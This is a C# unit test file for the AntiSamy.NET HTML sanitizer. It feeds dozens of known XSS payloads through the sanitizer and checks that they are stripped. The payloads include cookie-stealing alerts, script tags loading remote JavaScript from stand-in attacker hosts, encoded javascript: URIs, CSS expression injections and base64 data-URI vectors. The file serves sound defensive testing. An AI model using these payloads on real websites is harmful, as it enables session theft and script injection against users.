AntiSamy.NET/test/AntiSamy.Tests/AntiSamyTests.cs

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;

using FluentAssertions;

using Xunit;

namespace AntiSamy.Tests
{
    public class AntiSamyTests
    {
        private static readonly String[] BASE64_BAD_XML_STRINGS = new String[]{
            // first string is
            // "<a - href=\"http://www.owasp.org\">click here</a>"
            "PGEgLSBocmVmPSJodHRwOi8vd3d3Lm93YXNwLm9yZyI+Y2xpY2sgaGVyZTwvYT4=",
            // the rest are randomly generated 300 byte sequences which generate
            // parser errors, turned into Strings
            "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",
        };

        private AntiSamy _sut = new AntiSamy();


        private Policy GetTestPolicy()
        {
            var currentDir = Directory.GetCurrentDirectory();
            return Policy.FromFile(Path.Combine(currentDir, @"resources\antisamy.xml"));
        }

        [Fact]
        public void scriptAttacks()
        {
            List<string> list = new List<string>();

            if (!list.Any(i => i == "s"))
            {
                
            }

            var policy = GetTestPolicy();

            _sut.Scan("test<script>alert(document.cookie)</script>", policy).CleanHtml.Contains("script").Should().BeFalse();

            _sut.Scan("<<<><<script src=http://fake-evil.ru/test.js>", policy).CleanHtml.Contains("<script").Should().BeFalse();

            _sut.Scan("<script<script src=http://fake-evil.ru/test.js>>", policy).CleanHtml.Contains("<script").Should().BeFalse();

            _sut.Scan("<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy).CleanHtml.Contains("<script").Should().BeFalse();

            _sut.Scan("<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", policy).CleanHtml.Contains("onload").Should().BeFalse();

            _sut.Scan("<BODY ONLOAD=alert('XSS')>", policy).CleanHtml.Contains("alert").Should().BeFalse();

            _sut.Scan("<iframe src=http://ha.ckers.org/scriptlet.html <", policy).CleanHtml.Contains("<iframe").Should().BeFalse();

            _sut.Scan("<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", policy).CleanHtml.Contains("src").Should().BeFalse();

            _sut.Scan("<a onblur=\"alert(secret)\" href=\"http://www.google.com\">Google</a>", policy);
        }

        [Fact]
        public void imgAttacks()
        {
            var policy = GetTestPolicy();

            _sut.Scan("<img src=\"http://www.myspace.com/img.gif\"/>", policy).CleanHtml.Contains("<img").Should().BeTrue();

            _sut.Scan("<img src=javascript:alert(document.cookie)>", policy).CleanHtml.Contains("<img").Should().BeFalse();

            _sut.Scan("<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>", policy)
                     .CleanHtml.Contains("<img").Should().BeFalse();


            _sut.Scan("<IMG SRC='&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041'>", policy)
                    .CleanHtml.Contains("<img").Should().BeFalse();


            _sut.Scan("<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", policy).CleanHtml.Contains("alert").Should().BeFalse();

            string s = _sut.Scan("<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", policy).CleanHtml;
            assertTrue(s.Length == 0 || s.Contains("&amp;"));


            _sut.Scan("<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", policy);

            _sut.Scan("<IMG SRC=\"javascript:alert('XSS')\"", policy).CleanHtml.Contains("javascript").Should().BeFalse();

            _sut.Scan("<IMG LOWSRC=\"javascript:alert('XSS')\">", policy).CleanHtml.Contains("javascript").Should().BeFalse();

            _sut.Scan("<BGSOUND SRC=\"javascript:alert('XSS');\">", policy).CleanHtml.Contains("javascript").Should().BeFalse();
        }

        [Fact]
        public void hrefAttacks()
        {
            var policy = GetTestPolicy();

            _sut.Scan("<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", policy).CleanHtml.Contains("href").Should().BeFalse();

            _sut.Scan("<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", policy).CleanHtml.Contains("href").Should().BeFalse();

            _sut.Scan("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", policy).CleanHtml.Contains("ha.ckers.org").Should().BeFalse();

            _sut.Scan("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", policy).CleanHtml.Contains("ha.ckers.org").Should().BeFalse();

            _sut.Scan("<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", policy).CleanHtml.Contains("javascript").Should().BeFalse();

            _sut.Scan("<IMG SRC='vbscript:msgbox(\"XSS\")'>", policy).CleanHtml.Contains("vbscript").Should().BeFalse();

            _sut.Scan("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", policy).CleanHtml.Contains("<meta").Should().BeFalse();

            _sut.Scan("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", policy).CleanHtml.Contains("<meta").Should().BeFalse();

            _sut.Scan("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", policy).CleanHtml.Contains("<meta").Should().BeFalse();

            _sut.Scan("<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", policy).CleanHtml.Contains("javascript").Should().BeFalse();

            _sut.Scan("<TABLE BACKGROUND=\"javascript:alert('XSS')\">", policy).CleanHtml.Contains("background").Should().BeFalse();

            _sut.Scan("<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", policy).CleanHtml.Contains("background").Should().BeFalse();

            _sut.Scan("<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", policy).CleanHtml.Contains("javascript").Should().BeFalse();

            _sut.Scan("<DIV STYLE=\"width: expression(alert('XSS'));\">", policy).CleanHtml.Contains("alert").Should().BeFalse();

            _sut.Scan("<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", policy).CleanHtml.Contains("alert").Should().BeFalse();

            _sut.Scan("<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", policy).CleanHtml.Contains("ript:alert").Should().BeFalse();

            _sut.Scan("<BASE HREF=\"javascript:alert('XSS');//\">", policy).CleanHtml.Contains("javascript").Should().BeFalse();

            _sut.Scan("<BaSe hReF=\"http://arbitrary.com/\">", policy).CleanHtml.Contains("<base").Should().BeFalse();

            _sut.Scan("<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", policy).CleanHtml.Contains("<object").Should().BeFalse();

            _sut.Scan("<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", policy).CleanHtml.Contains("jaascript").Should().BeFalse();

            _sut.Scan("<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", policy).CleanHtml.Contains("<embed").Should().BeFalse();

            _sut.Scan("<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>", policy).CleanHtml.Contains("<embed").Should().BeFalse();

            _sut.Scan("<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy).CleanHtml.Contains("<script").Should().BeFalse();

            _sut.Scan("<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy).CleanHtml.Contains("<script").Should().BeFalse();

            _sut.Scan("<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy).CleanHtml.Contains("<script").Should().BeFalse();

            _sut.Scan("<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy).CleanHtml.Contains("<script").Should().BeFalse();

            _sut.Scan("<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", policy).CleanHtml.Contains("script").Should().BeFalse();

            _sut.Scan("<SCRIPT SRC=http://ha.ckers.org/xss.js", policy).CleanHtml.Contains("<script").Should().BeFalse();

            _sut.Scan("<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>", policy).CleanHtml.Contains("style").Should().BeFalse();

            _sut.Scan("<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>", policy).CleanHtml.Contains("aim.exe").Should().BeFalse();
       
            _sut.Scan("<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->", policy).CleanHtml.Contains("javascript").Should().BeFalse();

            _sut.Scan("<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">", policy).CleanHtml.Contains("document").Should().BeFalse();

            _sut.Scan("<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", policy).CleanHtml.Contains("iframe").Should().BeFalse();
        }

        private void assertTrue(bool value)
        {
            value.Should().BeTrue();
        }
    }
}